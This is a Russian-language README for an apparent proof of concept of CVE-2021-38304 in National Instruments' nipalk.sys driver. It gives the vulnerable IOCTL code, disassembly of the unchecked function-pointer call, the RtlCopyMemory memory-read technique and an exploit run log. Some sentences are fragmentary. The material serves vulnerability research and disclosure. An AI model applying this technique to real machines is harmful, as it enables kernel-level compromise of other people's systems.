
CVE-2021-38304 Proof of Concept
Этот репозиторий содержит доказательство концепции критической уязвимости безопасности в старых версиях драйвера nipalk.sys от National Instruments. Уязвимость позволяет выполнять произвольный код и раскрывать память в режиме ядра. Он предназначен исключительно для личных исследований.
Драйвер nipalk.sys неправильно обрабатывает указатели, предоставленные пользователем, при обработке конкретного запроса IOCTL. Этот недостаток позволяет злоумышленнику предоставить указатель на функцию, которую драйвер вызовет в контексте ядра с контролируемыми параметрами.
RCX и RDX во время вызова функции.RtlCopyMemory, злоумышленник может читать произвольную память ядра.Уязвимость возникает из-за того, что драйвер не проверяет указатели, предоставленные пользовательскими приложениями. При обработке IOCTL 0xABCD03C4 драйвер извлекает указатель на функцию из управляемой пользователем структуры и вызывает его без надлежащих проверок:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] выполняется в контексте ядра.RCX и RDX контролируются пользователем.[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
Этот PoC предназначен только для образовательных целей.